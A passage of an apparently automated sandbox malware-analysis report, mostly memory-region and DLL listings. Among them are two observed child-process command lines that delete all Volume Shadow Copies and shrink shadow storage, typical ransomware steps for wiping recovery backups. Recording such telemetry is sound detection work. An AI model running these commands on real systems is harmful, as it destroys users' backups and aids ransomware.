= 0x7ffc54c97fff entry_point = 0x7ffc54670000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 595 start_va = 0x7ffc54f80000 end_va = 0x7ffc55032fff entry_point = 0x7ffc54f80000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 596 start_va = 0x7ffc559d0000 end_va = 0x7ffc56ef4fff entry_point = 0x7ffc559d0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 597 start_va = 0x7ffc578a0000 end_va = 0x7ffc578f0fff entry_point = 0x7ffc578a0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 598 start_va = 0x7ffc57aa0000 end_va = 0x7ffc57b45fff entry_point = 0x7ffc57aa0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 599 start_va = 0x7ffc52d70000 end_va = 0x7ffc52e05fff entry_point = 0x7ffc52d70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 600 start_va = 0xec10f80000 end_va = 0xec10fbffff entry_point = 0x0 region_type = private name = "private_0x000000ec10f80000" filename = "" Region: id = 601 start_va = 0xec11040000 end_va = 0xec11043fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec11040000" filename = "" Region: id = 602 start_va = 0xec12a50000 end_va = 0xec12b58fff entry_point = 0x0 region_type = private name = "private_0x000000ec12a50000" filename = "" Region: id = 603 start_va = 0xec12bb0000 end_va = 0xec12bbffff entry_point = 0x0 region_type = private name = "private_0x000000ec12bb0000" filename = "" Region: id = 604 start_va = 0xec12bc0000 end_va = 0xec12ef6fff entry_point = 0xec12bc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 605 start_va = 0xec12f00000 end_va = 0xec13114fff entry_point = 0x0 region_type = private name = "private_0x000000ec12f00000" filename = "" Region: id = 606 start_va = 0xec13120000 end_va = 0xec1333efff entry_point = 0x0 region_type = private name = "private_0x000000ec13120000" filename = "" Region: id = 607 start_va = 0xec13340000 end_va = 0xec1355bfff entry_point = 0x0 region_type = private name = "private_0x000000ec13340000" filename = "" Region: id = 608 start_va = 0xec13560000 end_va = 0xec13668fff entry_point = 0x0 region_type = private name = "private_0x000000ec13560000" filename = "" Region: id = 609 start_va = 0xec13670000 end_va = 0xec13727fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec13670000" filename = "" Region: id = 610 start_va = 0x7ff7d60de000 end_va = 0x7ff7d60dffff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60de000" filename = "" Region: id = 611 start_va = 0x7ffc525f0000 end_va = 0x7ffc52611fff entry_point = 0x7ffc525f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 612 start_va = 0x7ffc52640000 end_va = 0x7ffc52652fff entry_point = 0x7ffc52640000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 613 start_va = 0x7ffc53720000 end_va = 0x7ffc53777fff entry_point = 0x7ffc53720000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 614 start_va = 0xec11050000 end_va = 0xec11056fff entry_point = 0x0 region_type = private name = "private_0x000000ec11050000" filename = "" Region: id = 615 start_va = 0xec11060000 end_va = 0xec11064fff entry_point = 0xec11060000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 616 start_va = 0xec113c0000 end_va = 0xec113c0fff entry_point = 0xec113c0000 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 617 start_va = 0xec113d0000 end_va = 0xec113d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ec113d0000" filename = "" Region: id = 618 start_va = 0x7ffc4cbd0000 end_va = 0x7ffc4ce43fff entry_point = 0x7ffc4cbd0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll") Thread: id = 10 os_tid = 0xdc4 Thread: id = 11 os_tid = 0xdc8 Thread: id = 12 os_tid = 0xdcc Thread: id = 13 os_tid = 0xdd4 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x2935a000" os_pid = "0xe1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdac" cmd_line = "vssadmin Delete Shadows /all /quiet" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 641 start_va = 0x130000 end_va = 0x14dfff entry_point = 0x130000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\SysWOW64\\vssadmin.exe" (normalized: "c:\\windows\\syswow64\\vssadmin.exe") Region: id = 642 start_va = 0xc20000 end_va = 0x4c1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 643 start_va = 0x4c20000 end_va = 0x4c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 644 start_va = 0x4c40000 end_va = 0x4c41fff entry_point = 0x0 region_type = private name = "private_0x0000000004c40000" filename = "" Region: id = 645 start_va = 0x4c50000 end_va = 0x4c63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c50000" filename = "" Region: id = 646 start_va = 0x4c70000 end_va = 0x4caffff entry_point = 0x0 region_type = private name = "private_0x0000000004c70000" filename = "" Region: id = 647 start_va = 0x4cb0000 end_va = 0x4ceffff entry_point = 0x0 region_type = private name = "private_0x0000000004cb0000" filename = "" Region: id = 648 start_va = 0x4cf0000 end_va = 0x4cf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004cf0000" filename = "" Region: id = 649 start_va = 0x4d00000 end_va = 0x4d00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d00000" filename = "" Region: id = 650 start_va = 0x4d10000 end_va = 0x4d11fff entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 651 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 652 start_va = 0x7ec50000 end_va = 0x7ec72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ec50000" filename = "" Region: id = 653 start_va = 0x7ec75000 end_va = 0x7ec75fff entry_point = 0x0 region_type = private name = "private_0x000000007ec75000" filename = "" Region: id = 654 start_va = 0x7ec7b000 end_va = 0x7ec7bfff entry_point = 0x0 region_type = private name = "private_0x000000007ec7b000" filename = "" Region: id = 655 start_va = 0x7ec7d000 end_va = 0x7ec7ffff entry_point = 0x0 region_type = private name = "private_0x000000007ec7d000" filename = "" Region: id = 656 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 657 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 658 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 659 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 660 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 661 start_va = 0x4dc0000 end_va = 0x4dcffff entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 662 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 663 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 664 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 665 start_va = 0x4c20000 end_va = 0x4c2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c20000" filename = "" Region: id = 666 start_va = 0x4c30000 end_va = 0x4c33fff entry_point = 0x0 region_type = private name = "private_0x0000000004c30000" filename = "" Region: id = 667 start_va = 0x4d20000 end_va = 0x4d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 668 start_va = 0x4d60000 end_va = 0x4d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 669 start_va = 0x4e60000 end_va = 0x4f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e60000" filename = "" Region: id = 670 start_va = 0x4f60000 end_va = 0x501dfff entry_point = 0x4f60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 671 start_va = 0x742d0000 end_va = 0x742e0fff entry_point = 0x742d0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\SysWOW64\\vsstrace.dll" (normalized: "c:\\windows\\syswow64\\vsstrace.dll") Region: id = 672 start_va = 0x742f0000 end_va = 0x74307fff entry_point = 0x742f0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 673 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 674 start_va = 0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 675 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 676 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 677 start_va = 0x74da0000 end_va = 0x74de3fff entry_point = 0x74da0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 678 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 679 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 680 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 681 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 682 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 683 start_va = 0x770d0000 end_va = 0x77161fff entry_point = 0x770d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 684 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 685 start_va = 0x77390000 end_va = 0x77549fff entry_point = 0x77390000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 686 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 687 start_va = 0x7eb50000 end_va = 0x7ec4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eb50000" filename = "" Region: id = 688 start_va = 0x7ec78000 end_va = 0x7ec7afff entry_point = 0x0 region_type = private name = "private_0x000000007ec78000" filename = "" Region: id = 689 start_va = 0x4c40000 end_va = 0x4c4cfff entry_point = 0x4c40000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vssadmin.exe.mui") Region: id = 690 start_va = 0x4da0000 end_va = 0x4da0fff entry_point = 0x0 region_type = private name = "private_0x0000000004da0000" filename = "" Region: id = 691 start_va = 0x4db0000 end_va = 0x4db0fff entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 692 start_va = 0x4dd0000 end_va = 0x4dd3fff entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 693 start_va = 0x5140000 end_va = 0x514ffff entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 694 start_va = 0x5150000 end_va = 0x52d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005150000" filename = "" Region: id = 695 start_va = 0x52e0000 end_va = 0x5460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052e0000" filename = "" Region: id = 696 start_va = 0x5470000 end_va = 0x686ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005470000" filename = "" Region: id = 697 start_va = 0x741b0000 end_va = 0x742cafff entry_point = 0x741b0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\SysWOW64\\vssapi.dll" (normalized: "c:\\windows\\syswow64\\vssapi.dll") Region: id = 698 start_va = 0x74d30000 end_va = 0x74d8bfff entry_point = 0x74d30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 699 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 700 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 701 start_va = 0x770c0000 end_va = 0x770c6fff entry_point = 0x770c0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 702 start_va = 0x4df0000 end_va = 0x4df0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004df0000" filename = "" Region: id = 703 start_va = 0x4e00000 end_va = 0x4e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 704 start_va = 0x4e40000 end_va = 0x4e48fff entry_point = 0x4e40000 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vsstrace.dll.mui") Region: id = 705 start_va = 0x5020000 end_va = 0x505ffff entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 706 start_va = 0x5060000 end_va = 0x509ffff entry_point = 0x0 region_type = private name = "private_0x0000000005060000" filename = "" Region: id = 707 start_va = 0x50a0000 end_va = 0x50dffff entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 708 start_va = 0x50e0000 end_va = 0x511ffff entry_point = 0x0 region_type = private name = "private_0x00000000050e0000" filename = "" Region: id = 709 start_va = 0x6870000 end_va = 0x6ba6fff entry_point = 0x6870000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 710 start_va = 0x6bb0000 end_va = 0x6beffff entry_point = 0x0 region_type = private name = "private_0x0000000006bb0000" filename = "" Region: id = 711 start_va = 0x6bf0000 end_va = 0x6ccefff entry_point = 0x6bf0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 712 start_va = 0x6cd0000 end_va = 0x6d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006cd0000" filename = "" Region: id = 713 start_va = 0x74320000 end_va = 0x7434efff entry_point = 0x74320000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 714 start_va = 0x74350000 end_va = 0x74362fff entry_point = 0x74350000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 715 start_va = 0x744e0000 end_va = 0x744fafff entry_point = 0x744e0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 716 start_va = 0x74ab0000 end_va = 0x74abbfff entry_point = 0x74ab0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 717 start_va = 0x76fe0000 end_va = 0x77061fff entry_point = 0x76fe0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 718 start_va = 0x7eb47000 end_va = 0x7eb49fff entry_point = 0x0 region_type = private name = "private_0x000000007eb47000" filename = "" Region: id = 719 start_va = 0x7eb4a000 end_va = 0x7eb4cfff entry_point = 0x0 region_type = private name = "private_0x000000007eb4a000" filename = "" Region: id = 720 start_va = 0x7eb4d000 end_va = 0x7eb4ffff entry_point = 0x0 region_type = private name = "private_0x000000007eb4d000" filename = "" Thread: id = 15 os_tid = 0xe20 Thread: id = 16 os_tid = 0xe34 Thread: id = 17 os_tid = 0xe38 Thread: id = 18 os_tid = 0xe48 Thread: id = 19 os_tid = 0xe4c Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x7b564000" os_pid = "0xe60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xdac" cmd_line = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 721 start_va = 0x130000 end_va = 0x14dfff entry_point = 0x130000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\SysWOW64\\vssadmin.exe" (normalized: "c:\\windows\\syswow64\\vssadmin.exe") Region: id = 722 start_va = 0xf10000 end_va = 0x4f0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f10000" filename = "" Region: id = 723 start_va = 0x4f10000 end_va = 0x4f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f10000" filename = "" Region: id = 724 start_va = 0x4f30000 end_va = 0x4f31fff entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 725 start_va = 0x4f40000 end_va = 0x4f53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f40000" filename = "" Region: id = 726 start_va = 0x4f60000 end_va = 0x4f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f60000" filename = "" Region: id = 727 start_va = 0x4fa0000 end_va = 0x4fdffff entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 728 start_va = 0x4fe0000 end_va = 0x4fe3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004fe0000" filename = "" Region: id = 729 start_va = 0x4ff0000 end_va = 0x4ff0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ff0000" filename = "" Region: id = 730 start_va = 0x5000000 end_va = 0x5001fff entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 731 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 732 start_va = 0x7f5a0000 end_va = 0x7f5c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f5a0000" filename = "" Region: id = 733 start_va = 0x7f5c9000 end_va = 0x7f5c9fff entry_point = 0x0 region_type = private name = "private_0x000000007f5c9000" filename = "" Region: id = 734 start_va = 0x7f5cb000 end_va = 0x7f5cbfff entry_point = 0x0 region_type = private name = "private_0x000000007f5cb000" filename = "" Region: id = 735 start_va = 0x7f5cd000 end_va = 0x7f5cffff entry_point = 0x0 region_type = private name = "private_0x000000007f5cd000" filename = "" Region: id = 736 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 737 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 738 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 739 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 740 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 741 start_va = 0x51e0000 end_va = 0x51effff entry_point = 0x0 region_type = private name = "private_0x00000000051e0000" filename = "" Region: id = 742 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 743 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 744 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 745 start_va = 0x4f10000 end_va = 0x4f1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f10000" filename = "" Region: id = 746 start_va = 0x4f20000 end_va = 0x4f23fff entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 747 start_va = 0x4f30000 end_va = 0x4f3cfff entry_point = 0x4f30000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vssadmin.exe.mui") Region: id = 748 start_va = 0x5010000 end_va = 0x5010fff entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 749 start_va = 0x5020000 end_va = 0x5020fff entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 750 start_va = 0x5030000 end_va = 0x5033fff entry_point = 0x0 region_type = private name = "private_0x0000000005030000" filename = "" Region: id = 751 start_va = 0x5040000 end_va = 0x513ffff entry_point = 0x0 region_type = private name = "private_0x0000000005040000" filename = "" Region: id = 752 start_va = 0x5140000 end_va = 0x517ffff entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 753 start_va = 0x5180000 end_va = 0x51bffff entry_point = 0x0 region_type = private name = "private_0x0000000005180000" filename = "" Region: id = 754 start_va = 0x51f0000 end_va = 0x52adfff entry_point = 0x51f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 755 start_va = 0x53f0000 end_va = 0x53fffff entry_point = 0x0 region_type = private name = "private_0x00000000053f0000" filename = "" Region: id = 756 start_va = 0x5400000 end_va = 0x5587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005400000" filename = "" Region: id = 757 start_va = 0x5590000 end_va = 0x5710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005590000" filename = "" Region: id = 758 start_va = 0x5720000 end_va = 0x6b1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005720000" filename = "" Region: id = 759 start_va = 0x741b0000 end_va = 0x742cafff entry_point = 0x741b0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\SysWOW64\\vssapi.dll" (normalized: "c:\\windows\\syswow64\\vssapi.dll") Region: id = 760 start_va = 0x742d0000 end_va = 0x742e0fff entry_point = 0x742d0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\SysWOW64\\vsstrace.dll" (normalized: "c:\\windows\\syswow64\\vsstrace.dll") Region: id = 761 start_va = 0x742f0000 end_va = 0x74307fff entry_point = 0x742f0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 762 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 763 start_va = 